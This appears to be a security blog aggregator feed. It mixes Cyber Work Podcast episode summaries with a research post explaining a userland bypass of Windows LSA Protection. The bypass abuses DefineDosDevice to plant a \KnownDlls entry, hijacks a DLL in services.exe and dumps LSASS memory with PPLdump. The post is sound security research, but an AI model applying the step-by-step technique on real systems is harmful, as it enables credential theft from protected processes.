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Today — 17 May 2021Pentest/Red Team

Project management careers in the military and private sector | Cyber Work Podcast

17 May 2021 at 07:00
By: Infosec

Ginny Morton, project management professional at Dell and veteran in the U.S. Army, takes us through the practice of cybersecurity project management in both for-profit and military sectors on today’s episode. We talk about Scrum and Agile certifications, building the best team for the project and tapping into your personal power in your work. 

0:00 - Intro
2:04 - Origin story
4:47 - What does a cybersecurity project manager do?
6:10 - Average work day as a project manager
7:40 - Best and worst parts of project management
9:30 - How does a PM improve cybersecurity work?
10:40 - Dell team management
12:50 - Being the team’s first manager
14:36 - Best project management certifications
21:02 - PM work for Dell versus the military
23:00 - Military clearances for PM work
24:08 - Skills and experiences necessary for high-level PM
22:52 - Skills and interests for a successful career
27:04 - Tips for those who want to transition careers
27:38 - Changes to PM work during COVID
28:40 - Adjustments to work from home
29:55 - Will PM work change?
31:04 - Outro

Learn cybersecurity for free with our new hands-on Cyber Work Applied series. Whether you want to learn how cross-site scripting attacks work, set up a man-in-the-middle attack or walk through major breaches like Equifax, Infosec instructors will teach you these skills and show you how they apply to real-world scenarios.  Best of all — it's free!

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Ginny Morton is a senior cyber security advisor, program management at Dell, and has spent much of her career in the project management space for cybersecurity, previously working at TekSystems and in both the Texas Army National Guard and the U.S. Army.

Our recent guest, project manager Jackie Olshack, recommended Morton for the show, and as we had a ton of people tune in to see Jackie’s episode, we realize that our listeners are passionate about learning more about project management in IT and cyber as a career path, so I’m looking forward to talking with Morton about her career path as well as the unique aspects of doing project management work on a federal/military level.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

Before yesterdayPentest/Red Team

Data governance strategy in 2021 | Cyber Work Podcast

10 May 2021 at 07:00
By: Infosec

This episode we welcome Rita Gurevich, CEO and founder of Sphere Technology Solutions. She talks about what it’s like to start her own company, why it is important to know your assets when setting policy, and what skills and experiences set applicants apart when they look to hire. Plus, she has plenty of data governance strategies to chat about. 

0:00​ - Intro
2:47​ - Origin story
4:51​ - The creation of Sphere
7:14​ - Working solo at Sphere
9:12​ - What would you change going back?
10:30​ - Pricing your business activities
12:36​ - Average day as a CEO
13:32​ - Favorite parts of the job
14:50​ - What is data governance?
17:40​ - Factors driving data growth
19:28​ - First steps to form data strategy
22:07​ - Data governance best practices
23:40​ - Time frame to get a master inventory
25:17​ - What does good data governance do
26:12​ - Skills I need for data governance and management
27:47​ - Importance of collaboration and mentorship
30:26​ - Skills and experiences for Sphere candidates
32:48​ - Tips to get into cybersecurity work
34:06​ - Outro

Learn cybersecurity for free with our new hands-on Cyber Work Applied series. Whether you want to learn how cross-site scripting attacks work, set up a man-in-the-middle attack or walk through major breaches like Equifax, Infosec instructors will teach you these skills and show you how they apply to real-world scenarios.  Best of all — it's free!

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

As the CEO and Founder of Sphere, Rita Gurevich is charged with leading the strategic growth of the organization in providing business critical governance, security and compliance solutions to customers spanning multiple geographic locations and industry verticals.

Gurevich founded Sphere after gaining a massive amount of experience in a short time period during the Lehman bankruptcy, the economic downturn of 2008, and the enhanced regulatory environment that dominated the industry. Being in a unique position from this experience, Gurevich founded Sphere as a single contributor, and worked strategically to grow the company into the entity it is today.

Gurevich is the recipient of multiple honors and awards including recognition from her Entrepreneurial skills from Ernst & Young, and SmartCEO, along with being on the 40 Under 40 list in 2017. In addition, Gurevich sits on the Board of Directors for the New Jersey Technology Council.

This week’s topic is data governance strategies in 2021. As more of what we do goes online and into the cloud, and as more people need access to information, making sure that entrance points aren’t more accessible than they need to be is more important than ever. We’re going to talk about the issues around this topic, and also job strategies for people who want to do this type of work.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

Lessons cybersecurity can learn from physical security | Cyber Work Podcast

3 May 2021 at 07:00
By: Infosec

This episode we welcome Jeff Schmidt of Covail to discuss security and risk management, working at the FBI to create the InfraGard program, and what cybersecurity can learn from physical security controls and fire safety and protection.

0:00 - Intro
2:30 - Origin story
4:31 - Stepping stones throughout career
8:00 - Average work day
12:14 - Learning from physical security
17:18 - Deficiencies in detection
22:17 - Which security practices need to change?
24:15 - How massive would this change be?
27:37 - Skills needed for real-time detection
32:00 - Strategies to get into cybersecurity
34:30 - Final words on the industry
37:16 - What is Covail?
38:40 - Outro

Learn cybersecurity for free with our new hands-on Cyber Work Applied series. Whether you want to learn how cross-site scripting attacks work, set up a man-in-the-middle attack or walk through major breaches like Equifax, Infosec instructors will teach you these skills and show you how they apply to real-world scenarios.  Best of all — it's free!

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Jeff Schmidt, VP and Chief Cyber Security Innovator at Covail is an accomplished cybersecurity expert with a background in security and risk management. He founded JAS Global Advisors LLC, a security consulting firm in Chicago, and Authis, a provider of innovative risk-managed identity services for the financial sector. Jeff is a board member for Delta Risk LLC. In 1998, he worked with the FBI to create the InfraGard program, receiving commendations from the Attorney General and the Director of the FBI. He is an adjunct professor of systems security engineering at the Stevens Institute of Technology and a Zurich Cyber Risk Fellow, Cyber Statecraft Initiative, at The Atlantic Council. Jeff received a Bachelor of Science in computer information systems and an MBA from the Fisher College of Business at The Ohio State University.

Jeff came to us with an intriguing topic. He proposes what he calls a Detect, Defend, and Respond Posture in Cybersecurity, and postulates that cybersecurity can learn lessons from “the mature sciences of physical security and fire protection.” No matter how you’re securing your system now, there’s often room for improvement, and always room for taking in new ideas, so let’s take a closer look!

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

Supporting economic advancement among women in cybersecurity | Cyber Work Podcast

26 April 2021 at 07:00
By: Infosec

Christina Van Houten talks about [email protected] and women in cybersecurity on this week's episode. We discuss tactics for bringing more women and diverse candidates into cybersecurity, the importance of a well-balanced and skills-diverse team, and how the work of Chief Strategy Officer is like an ever-evolving game of Tetris! 

0:00 - Intro
2:30 - Van Houten's origin story
4:13 - Strategies cybersecurity was lacking
7:05 - Accomplishments that helped bolster her career
13:46 - Average day as chief strategy officer
18:03 - Entering cybersecurity in different ways
20:37 - [email protected] and trying to help
26:27 - Bringing more women into cybersecurity
29:20 - Making careers accessible to women
34:14 - Diversifying upper management 
36:22 - Success stories mentoring women
41:01 - [email protected] book and men in cybersecurity
46:33 - Roadblocks women in cybersecurity face
50:47 - Projects from Mimecast
54:37 - Outro

Have you seen our new, hands-on training series Cyber Work Applied? Tune in every other week as expert Infosec instructors teach you a new cybersecurity skill and show you how that skill applies to real-world scenarios. You’ll learn how to carry out different cyberattacks, practice using common cybersecurity tools, follow along with walkthroughs of how major breaches occurred, and more. And it's free!

– Learn cybersecurity with our FREE Cyber Work Applied training series: https://www.infosecinstitute.com/learn/
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

Christina Van Houten is a veteran of the enterprise technology industry, having spent two decades with some of the world’s largest firms, including Oracle, IBM and Infor Global Solutions as well as Netezza and ProfitLogic, the entrepreneurial companies that were acquired by them. Currently, Christina is chief strategy officer for Mimecast, a global leader in cybersecurity, where she leads product management, market strategy, corporate development, and M&A. She also serves on the board of directors for TechTarget and has been involved as an advisory board member of several emerging technology firms. In 2017, Christina launched [email protected], a resource platform dedicated to the economic advancement and self-reliance of women and girls around the world.

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with  skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

Bypassing LSA Protection in Userland

22 April 2021 at 12:30
By: itm4n

In 2018, James Forshaw published an article in which he briefly mentioned a trick that could be used to inject arbitrary code into a PPL as an administrator. However, I feel like this post did not get the attention it deserved as it literally described a potential Userland exploit for bypassing PPL (which includes LSA Protection).

Introduction

I was doing some research on Protected Processes when I stumbled upon the following blog post: Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege. This post was written by James Forshaw on Project Zero’s blog in August 2018. As the title implies, the objective was to discuss a particular privilege escalation trick, not a PPL bypass. However, the following sentence immediately caught my eye:

Abusing the DefineDosDevice API actually has a second use, it’s an Administrator to Protected Process Light (PPL) bypass.

As far as I know, all the public tools for bypassing PPL that have been released so far involve the use of a driver in order to execute arbitrary code in the Kernel (with the exception of pypykatz as I mentioned in my previous post). In his blog post though, James Forshaw casually gave us a Userland bypass trick on a plate, and it seems it went quite unnoticed by the pentesting community.

The objective of this post is to discuss this technique in more details. I will first recap some key concepts behind PPL processes, and I will also explain one of the major differences between a PP (Protected Process) and a PPL (Protected Process Light). Then, we will see how this slight difference can be exploited as an administrator. Finally, I will introduce the tool I developed to leverage this vulnerability and dump the memory of any PPL without using any Kernel code.

Background

I already laid down all the core principles behind PP(L)s on my personal blog here: Do You Really Know About LSA Protection (RunAsPPL)?. So, I would suggest reading this post first but here is a TL;DR.

PP(L) Concepts – TL;DR

When the PP model was first introduced with Windows Vista, a process was either protected or unprotected. Then, beginning with Windows 8.1, the PPL model extended this concept and introduced protection levels. The immediate consequence is that some PP(L)s can now be more protected than others. The most basic rule is that an unprotected process can open a protected process only with a very restricted set of access flags such as PROCESS_QUERY_LIMITED_INFORMATION. If they request a higher level of access, the system will return an Access is Denied error.

For PP(L)s, it’s a bit more complicated. The level of access they can request depends on their own level of protection. This protection level is partly determined by a special EKU field in the file’s digital certificate. When a protected process is created, the protection information is stored in a special value in the EPROCESS Kernel structure. This value stores the protection level (PP or PPL) and the signer type (e.g.: Antimalware, Lsa, WinTcb, etc.). The signer type establishes a sort of hierarchy between PP(L)s. Here are the basic rules that apply to PP(L)s:

  • A PP can open a PP or a PPL with full access if its signer type is greater or equal.
  • A PPL can open a PPL with full access if its signer type is greater or equal.
  • A PPL cannot open a PP with full access, regardless of its signer type.

For example, when LSA Protection is enabled, lsass.exe is executed as a PPL, and you will observe the following protection level with Process Explorer: PsProtectedSignerLsa-Light. If you want to access its memory you will need to call OpenProcess and specify the PROCESS_VM_READ access flag. If the calling process is not protected, this call will immediately fail with an Access is Denied error, regardless of the user’s privileges. However, if the calling process were a PPL with a higher level (WinTcb for instance), the same call would succeed (as long as the user has the appropriate privileges obviously). As you will have understood, if we are able to create such a process and execute arbitrary code inside it, we will be able to access LSASS even if LSA Protection is enabled. The question is: can we achieve this goal without using any Kernel code?

PP vs PPL

The PP(L) model effectively prevents an unprotected process from accessing protected processes with extended access rights using OpenProcess for example. This prevents simple memory access, but there is another aspect of this protection I did not mention. It also prevents unsigned DLLs from being loaded by these processes. This makes sense, otherwise the overall security model would be pointless as you could just use any form of DLL hijacking and inject arbitrary code into your own PPL process. This also explains why a particular attention should be paid to third-party authentication modules when enabling LSA Protection.

There is one exception to this rule though! And this is probably where the biggest difference between a PP and a PPL lies. If you know about the DLL search order on Windows, you know that, when a process is created, it first goes through the list of “Known DLLs”, then it continues with the application’s directory, the System directories and so on… In this search order, the “Known DLLs” step is a special one and is usually taken out of the equation for DLL hijacking exploits because a user has no control over it. Though, in our case, this step is precisely the “Achille’s heel” of PPL processes.

The “Known DLLs” are the DLLs that are most commonly loaded by Windows applications. Therefore, to increase the overall performance, they are preloaded in memory (i.e. they are cached). If you want to see the complete list of “Known DLLs”, you can use WinObj and take a look a the content of the \KnownDlls directory within the object manager.

WinObj – Known DLLs

Since these DLLs are already in memory, you should not see them if you use Process Monitor to check the file operations of a typical Windows application. Things are a bit different when it comes to Protected Processes though. I will take SgrmBroker.exe as an example here.

Known DLLs loaded by a Protected Process

As we can see in Process Explorer, SgrmBroker.exe was started as a Protected Process (PP). When the process starts, the very first DLLs that are loaded are kernel32.dll and KernelBase.dll, which are both… …”Known DLLs”. Yes, in the case of a PP, even the “Known DLLs” are loaded from the disk, which implies that the digital signature of each file is always verified. However, if you do the same test with a PPL, you will not see these DLLs in Process Monitor as they behave like normal processes in this case.

This fact is particularly interesting because the digital signature of a DLL is only verified when the file is mapped, i.e. when a Section is created. This means that, if you are able to add an arbitrary entry to the \KnownDlls directory, you can then inject an arbitrary DLL and execute unsigned code in a PPL.

Adding an entry to \KnownDlls is easier said than done though because Microsoft already considered this attack vector. As explained by James Forshaw in his blog post, the \KnownDlls object directory is marked with a special Process Trust Label as you can see on the screenshot below.

KnownDlls directory Process Trust Label

As you may imagine, based on the name of the label, only protected processes that have a level higher than or equal to WinTcb – which is actually the highest level for PPLs – can request write access to this directory. But all is not lost as this is exactly where the clever trick found by JF comes into play.

MS-DOS Device Names

As mentioned in the introduction, the technique found by James Forshaw relies on the use of the API function DefineDosDevice, and involves some Windows internals that are not easy to grasp. Therefore, I will first recap some of these concepts here before dealing with the method itself.

DefineDosDevice?

Here is the prototype of the DefineDosDevice function:

BOOL DefineDosDeviceW(
  DWORD   dwFlags,
  LPCWSTR lpDeviceName,
  LPCWSTR lpTargetPath
);

As suggested by its name, the purpose of the DefineDosDevice is to literally define MS-DOS device names. An MS-DOS device name is a symbolic link in the object manager with a name of the form \DosDevices\DEVICE_NAME (e.g.: \DosDevices\C:) as explained in the documentation. So, this function allows you to map an actual “Device” to a “DOS Device”. This is exactly what happens when you plug in an external drive or a USB key for example. The device is automatically assigned a drive letter, such as E:. You can get the corresponding mapping by invoking QueryDosDevice.

WCHAR path[MAX_PATH + 1];

if (QueryDosDevice(argv[1], path, MAX_PATH)) {
    wprintf(L"%ws -> %ws\n", argv[1], path);
}
Querying an MS-DOS device’s mapping

In the above example, the target device is \Device\HarddiskVolume5 and the MS-DOS device name is E:. But wait a minute, I said that an MS-DOS device name was of the form \DosDevices\DEVICE_NAME. So, this cannot be just a drive letter. No worries, there is an explanation. For both DefineDosDevice and QueryDosDevice, the \DosDevices\ part is implicit. These functions automatically prepend the “device name” with \??\. So, if you provide E: as the device name, they will use the NT path \??\E: internally. Even then, you will tell me that \??\ is still not \DosDevices\, and this would be a valid point. Once again, WinObj will help us solve this “mystery”. In the root directory of the object manager, we can see that \DosDevices is just a symbolic link that points to \??. As a result, \DosDevices\E: -> \??\E:, so we can consider them as the same thing. This symbolic link actually exists for legacy reasons because, in older versions of Windows, there was only one DOS device directory.

WinObj – DosDevices symbolic link

Local DOS Device Directories

The path prefix \??\ itself has a very special meaning. It represents the local DOS device directory of a user and therefore refers to different locations in the object manager, depending on the current user’s context. Concretely, \?? refers to the full path \Sessions\0\DosDevices\00000000-XXXXXXXX, where XXXXXXXX is the user’s logon authentication ID. There is one exception though, for NT AUTHORITY\SYSTEM, \?? refers to \GLOBAL??. This concept is very important so I will take two examples to illustrate it. The first one will be the USB key I used previously and the second one will be an SMB share I manually mount through the Explorer.

In the case of the USB key, we already saw that \??\E: was a symbolic link to \Device\HarddiskVolume5. As it was mounted by SYSTEM, this link should exist within \GLOBAL??\. Let’s verify that with WinObj.

WinObj – \GLOBAL??\E: symbolic link

Everything is fine! Now, let’s map an “SMB share” to a drive letter and see what happens.

Mapping a Network Drive

This time, the drive is mounted as the logged-on user, so \?? should refer to \Sessions\0\DosDevices\00000000-XXXXXXXX, but what is the value of XXXXXXXX? To find it, I will use Process Hacker and check the advanced properties of my explorer.exe process’ primary access token.

Process Hacker – Explorer’s token advanced properties

The authentication ID is 0x1abce so the symbolic link should have been created inside \Sessions\0\DosDevices\00000000-0001abce. Once again, let’s verify that with WinObj.

WinObj – SMB share symbolic link

There it is! The symbolic link was indeed created in this directory.

Why DefineDosDevice?

As we saw in the previous part, the device mapping operation consists of a simple symbolic link creation in the caller’s DOS device directory. Any user can do that as it affects only their session. But there is a problem, because low-privileged users can only create “Temporary” kernel objects, which are removed once all their handles have been closed. To solve this problem, the object must be marked as “Permanent“, but this requires a particular privilege (SeCreatePermanentPrivilege) which they do not have. So, this operation must be performed by a privileged service that has this capability.

The symbolic link is marked as “Permanent”

As outlined by JF in his blog post, DefineDosDevice is just a wrapper for an RPC method call. This method is exposed by the CSRSS service and is implemented in BaseSrvDefineDosDevice inside BASESRV.DLL. What is special about this service is that it runs as a PPL with the protection level WinTcb.

CSRSS service runing as a PPL (WinTcb)

Although this is a requirement for our exploit, it is not the most interesting fact about DefineDosDevice. What is even more interesting is that the value of lpDeviceName is not sanitized. This means that you are not bound to provide a drive letter such as E:. We will see how we can leverage this to trick the CSRSS service into creating an arbitrary symbolic link in an arbitrary location such as \KnownDlls.

Exploiting DefineDosDevice

In this part, we will take a deep dive into the DefineDosDevice function. We will see what kind of weakness lies inside it and how we can exploit it to reach our goal.

The Inner Workings of DefineDosDevice

In his article, JF did all the heavy lifting as he reversed the BaseSrvDefineDosDevice function and provided us with the corresponding pseudo-code. You can check it out here. If you do so, you should note that there is slight mistake at step 4 though, it should be CsrImpersonateClient(), not CsrRevertToSelf(). Anyway, rather than copy-pasting his code, I will try to provide a high-level overview using a diagram instead.

Overview of BaseSrvDefineDosDevice

In this flowchart, I highlighted some elements with different colors. The impersonation functions are in orange and the symbolic link creation steps are in blue. Finally, I highlighted the critical path we need to take in red.

First, we can see that the CSRSS service tries to open \??\DEVICE_NAME while impersonating the caller (i.e. the RPC client). The main objective is to delete the symbolic link first if it already existed. But there is more to it, the service will also check whether the symbolic link is “global”. For that purpose, an internal function, which is not represented here, simply checks whether the “real” path of the object starts with \GLOBAL??\. If so, impersonation is disabled for the rest of the execution and the service will not impersonate the client prior to the NtCreateSymbolicLinkObject() call, which means that the symbolic link will be created by the CSRSS service itself. Finally, if this operation succeeds, the service marks the object as “Permanent” as I mentioned earlier.

A Vulnerability?

At this point you may have realized that there is a sort of TOCTOU (Time-of-Check Time-of-Use) vulnerability. The path used to open the symbolic link and the path used to create it are the same: \??\DEVICE_NAME. However, the “open” operation is always done while impersonating the user whereas the “create” operation might be done directly as SYSTEM if impersonation is disabled. And, if you remember what I explained earlier, you know that \?? represents a user’s local dos device directory and therefore resolves to different paths depending on the user’s identity. So, although the same path is used in both cases, it may well refer to completely different locations in reality!

In order to exploit this behavior, we must solve the following challenge: we need to find a “device name” that resolves to a “global object” we control when the service impersonates the client. And this same “device name” must resolve to \KnownDlls\FOO.dll when impersonation is disabled. This sounds a bit tricky, but we will go through it step by step.

Let’s begin with the easiest part first. We need to determine a value for DEVICE_NAME in \??\DEVICE_NAME such that this path resolves to \KnownDlls\FOO.dll when the caller is SYSTEM. We also know that \?? resolves to \GLOBAL?? in this case.

If you check the content of the \GLOBAL??\ directory, you will see that there is a very convenient object inside it.

WinObj – The “real” GLOBALROOT

In this directory, the GLOBALROOT object is a symbolic link that points to an empty path. This means that a path such as \??\GLOBALROOT\ would translate to just \, which is the root of the object manager (hence the name “global root”). If we apply this principle to our “device name”, we know that \??\GLOBALROOT\KnownDlls\FOO.DLL would resolve to \KnownDlls\FOO.dll when the caller is SYSTEM. This is one part of the problem solved!

Now, we know that we should supply GLOBALROOT\KnownDlls\FOO.DLL as the “device name” for the DefineDosDevice function call (remember that \??\ will be automatically prepended to this value). If we want the CSRSS service to disable impersonation, we also know that the symbolic link object must be considered as “global” so its path must start with \GLOBAL??\. So, the question is: how do you transform a path such as \??\GLOBALROOT\KnownDlls\FOO.DLL into \GLOBAL??\KnownDlls\FOO.dll? The solution is actually quite straightforward as this is pretty much the very definition of a symbolic link! When the service impersonates the user, we know that \?? refers to the local DOS device directory of this particular user, so all you have to do is create a symbolic link such that \??\GLOBALROOT points to \GLOBAL??, and that’s it.

To summarize, when the path is opened by a user other than SYSTEM:

\??\GLOBALROOT\KnownDlls\FOO.dll
-> \Sessions\0\DosDevices\00000000-XXXXXXXX\GLOBALROOT\KnownDlls\FOO.dll

\Sessions\0\DosDevices\00000000-XXXXXXXX\GLOBALROOT\KnownDlls\FOO.dll
-> \GLOBAL??\KnownDlls\FOO.dll

On the other hand, if the same path is opened by SYSTEM:

\??\GLOBALROOT\KnownDlls\FOO.dll
-> \GLOBAL??\GLOBALROOT\KnownDlls\FOO.dll

\GLOBAL??\GLOBALROOT\KnownDlls\FOO.dll
-> \KnownDlls\FOO.dll

There is one last thing that needs to be taken care of. Before checking whether the object is “global” or not, it must first exist, otherwise the initial “open” operation would just fail. So, we need to make sure that \GLOBAL??\KnownDlls\FOO.dll is an existing symbolic link object prior to calling DefineDosDevice.

WinObj – Permissions of \GLOBAL??

There is a slight issue here. Administrators cannot create objects or even directories within \GLOBAL??. This is not really a problem; this just adds an extra step to our exploit as we will have to temporarily elevate to SYSTEM first. As SYSTEM, we will be able to first create a fake KnownDlls directory inside \GLOBAL??\ and then create a dummy symbolic link object inside it with the name of the DLL we want to hijack.

The Full Exploit

There is a lot of information to digest so, here is a short recap of the exploit steps before we discuss the last considerations. In this list, we assume we are executing the exploit as an administrator.

  1. Elevate to SYSTEM, otherwise we will not be able to create objects inside \GLOBAL??.
  2. Create the object directory \GLOBAL??\KnownDlls to mimic the actual \KnownDlls directory.
  3. Create the symbolic link \GLOBAL??\KnownDlls\FOO.dll, where FOO.dll is the name of the DLL we want to hijack. Remember that what matters is the name of the link itself, not its target.
  4. Drop the SYSTEM privileges and revert to our administrator user context.
  5. Create a symbolic link in the current user’s DOS device directory called GLOBALROOT and pointing to \GLOBAL??. This step must not be done as SYSTEM because we want to create a fake GLOBALROOT link inside our own DOS directory.
  6. This is the centerpiece of this exploit. Call DefineDosDevice with the value GLOBALROOT\KnownDlls\FOO.dll as the device name. The target path of this device is the location of the DLL but I will get to that in the next part.

Here is what happens inside the CSRSS service at the final step. It first receives the value GLOBALROOT\KnownDlls\FOO.dll and prepends it with \??\ so this yields the device name \??\GLOBALROOT\KnownDlls\FOO.dll. Then, it tries to open the corresponding symbolic link object while impersonating the client.

\??\GLOBALROOT\KnownDlls\FOO.dll
-> \Sessions\0\DosDevices\00000000-XXXXXXXX\GLOBALROOT\KnownDlls\FOO.dll
-> \GLOBAL??\KnownDlls\FOO.dll

Since the object exists, it will check if it’s global. As you can see, the “real” path of the object starts with \GLOBAL??\ so it’s indeed considered global, and impersonation is disabled for the rest of the execution. The current link is deleted and a new one is created, but this time, the RPC client is not impersonated, so the operation is done in the context of the CSRSS service itself as SYSTEM:

\??\GLOBALROOT\KnownDlls\FOO.dll
-> \GLOBAL??\GLOBALROOT\KnownDlls\FOO.dll
-> \KnownDlls\FOO.dll

Here we go! The service creates the symbolic link \KnownDlls\FOO.dll with a target path we control.

DLL Hijacking through Known DLLs

Now that we know how to add an arbitrary entry to the \KnownDlls directory, we should come back to our original problem, and our exploit constraints.

Which DLL to Hijack?

We want to execute arbitrary code inside a PPL, and ideally with the signer type “WinTcb”. So, we need to find a suitable executable candidate first. On Windows 10, four built-in binaries can be executed with such a level of protection as far as I know: wininit.exe, services.exe, smss.exe and csrss.exe. smss.exe and csrss.exe cannot be executed in Win32 mode so we can eliminate them. I did a few tests with wininit.exe but letting this binary run as an administrator with debug privileges is a bad idea. Indeed, there is a high chance it will mark itself as a Critical Process, meaning that when it terminates, the system will likely crash with a BSOD.

This leaves us with only one potential candidate: services.exe. As it turns out, this is the perfect candidate for our purpose. Its main function is very easy to decompile and understand. Here is the corresponding pseudo-code.

int wmain()
{
    HANDLE hEvent;
    hEvent = OpenEvent(SYNCHRONIZE, FALSE, L"Global\\SC_AutoStartComplete");
    if (hEvent) {
        CloseHandle(hEvent);
    } else {
        RtlSetProcessIsCritical(TRUE, NULL, FALSE);
        if (NT_SUCCESS(RtlInitializeCriticalSection(&CriticalSection))
            SvcctrlMain();
    }
    return 0;
}

It first tries to open a global Event object. If it worked, the handle is closed, and the process terminates. The actual main function SvcctrlMain() is executed only if this Event object does not exist. This makes sense, this simple synchronization mechanism makes sure services.exe is not executed twice, which is perfect for our use case as we don’t want to mess with the Service Control Manager (services.exe is the image file used by the SCM).

WinObj – SC_AutoStartComplete global Event

Now, in order to get a first glimpse at the DLLs that are loaded by services.exe, we can use Process Monitor with a few filters.

Process Monitor – DLLs loaded by services.exe

From this output, we know that services.exe loads three DLLs (which are not Known DLLs) but this information, on its own, is not sufficient. We need to also find which functions are imported. So, we need to take a look at the PE’s import table.

IDA – Import table of services.exe

Here, we can see that only one function is imported from dpapi.dll: CryptResetMachineCredentials. Therefore, this is the simplest DLL to hijack. We just have to remember that we will have to export this function, otherwise our crafted DLL will not be loaded.

But is it that simple? The short answer is “no”. After doing some testing on various installations of Windows, I realized that this behavior was not consistent. On some versions of Windows 10, dpapi.dll is not loaded at all, for some reason. In addition, the DLLs that are imported by services.exe on Windows 8.1 are completely different. In the end, I had to take all these differences into account in order to build a tool that works on all the recent versions of Windows (including the Server editions) but you get the overall idea.

DLL File Mapping

In the previous parts, we saw how we could trick the CSRSS service into creating an arbitrary symbolic link object in \KnownDlls but I intentionally omitted an essential part: the target path of the link.

A symbolic link can virtually point to any kind of object in the object manager but, in our case, we have to mimic the behavior of a library being loaded as a Known DLL. This means that the target must be a Section object, rather than the DLL file path for example.

As we saw earlier, “Known DLLs” are Section objects which are stored in the object directory \KnownDlls and this is also the first location in the DLL search order. So, if a program loads a DLL named FOO.dll and the Section object \KnownDlls\FOO.dll exists, then the loader will use this image rather than mapping the file again. In our case, we have to do this step manually. The term “manually” is a bit inappropriate though as we do not really have to map the file ourselves if we do this in the “legitimate way”.

A Section object can be created by invoking NtCreateSection. This native API function requires an AllocationAttributes argument, which is usually set to SEC_COMMIT or SEC_IMAGE. When SEC_IMAGE is set, we can specify that we want to map a previously opened file as an executable image file. Therefore, it will be properly and automatically mapped into memory. But this means that we have to embed a DLL, write it to the disk, open it with CreateFile to get a handle on the file and finally invoke NtCreateSection. For a Proof-of-Concept, this is fine, but I wanted to go the extra mile and find a more elegant solution.

Another approach would consist in doing everything in memory. Similarly to the famous Process Hollowing technique, we would have to create a Section object with enough memory space to store the content of our DLL’s image, then parse the NT headers to identify each section inside the PE and map them appropriately, which is what the loader does. This a rather tedious process and I did not want to go this far. Though, while doing my research, I stumbled upon a very interesting blog post about “DLL Hollowing” by @_ForrestOrr. In his Proof-of-Concept he made use of Transactional NTFS (a.k.a TxF) to replace the content of an existing DLL file with his own payload without really modifying it on disk. The only requirement is that you must have write permissions on the target file.

In our case, we assume that we have admin privileges, so this is perfect. We can open a DLL in the System directory as a transaction, replace its content with our payload DLL and finally use the opened handle in the NtCreateSection API function call with the flag SEC_IMAGE. But I did say that we still need to have write permissions on the target file, even though we don’t really modify the file itself. This is a problem because system files are owned by TrustedInstaller, aren’t they? Since we assume we have admin privileges, we could well elevate to TrustedInstaller but there is a simpler solution. It turns out some (DLL) files within C:\Windows\System32\ are actually owned by SYSTEM, so we just have to search this directory for a proper candidate. We should also make sure that its size is large enough so that we can replace its content with our own payload.

Exploiting as SYSTEM?

In the exploit part, I insisted on the fact that the DefineDosDevice API function must be called as any user other than SYSTEM, otherwise the whole “trick” would not work. But what if we are already SYSTEM and we don’t have an administrator account. We could create a temporary local administrator account, but this would be quite lame. A better thing to do is simply impersonate an existing user. For instance, we can impersonate LOCAL SERVICE or NETWORK SERVICE, as they both have their own DOS device directory.

Assuming we have “debug” and “impersonate” privileges, we can list the current processes, find one that runs as LOCAL SERVICE, duplicate the primary token and temporarily impersonate this user. It’s as simple as that.

No matter if we are executing the exploit as SYSTEM or as an administrator, in both cases, we will have to go back and forth between two identities without losing track of things.

Conclusion

In this post, we saw how a seemingly benign API function could be leveraged by an administrator to eventually inject arbitrary code into a PPL with the highest level using some very clever tricks. I implemented this technique in a new tool – PPLdump – in reference to ProcDump. Assuming you have administrator or SYSTEM privileges, it allows you to dump the memory of any PPL, including LSASS when LSA Protection is enabled.

This “vulnerability”, initially published in 2018, is still not patched. If you wonder why, you can check out the Windows Security Servicing Criteria section in the Microsoft Bug Bounty program. You will see that even a non-admin to PPL bypass is not a serviceable issue.

Windows Security Servicing Criteria

By implementing this technique in a standalone tool, I learned a lot about some Windows Internals which I did not really have the opportunity to tackle before. In return, I covered a lot of those aspects in this blog post. But this would have certainly not been possible if great security researchers such as James Forshaw (@tiraniddo) did not share their knowledge through their various publications. So, once again, I want to say a big thank you to him.

If you want to read the original publication or if you want to learn more about “DLL Hollowing“, you can check out the following resources.

  • @tiraniddo – Windows Exploitation Tricks: Exploiting Arbitrary Object Directory Creation for Local Elevation of Privilege – link
  • @_ForrestOrr – Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing – link

Supply-chain security and servant leadership | Cyber Work Podcast

19 April 2021 at 07:00
By: Infosec

In this episode we explore supply-chain security with Manish Gupta. We’re going to learn about risks and cyberattacks related to the continuous integration/continuous deployment or CI/CD pipeline, which, given high-profile attacks like SolarWinds, will give us plenty to discuss this week!

0:00 - Intro
2:21 - Manish's origin story
4:58 - Major career stepping stones
8:45 - Lessons when ahead of the curve
11:21 - Average day as a servant leader CEO
14:54 - Concerns with supply chain security
21:22 - Federal supply chain action
26:20 - What supply chain policy should focus on
28:40 - Skills needed for supply chain jobs
32:48 - What should be on my resume?
34:03 - Showing supply chain aptitude
36:04 - Future projects
38:29 - Outro

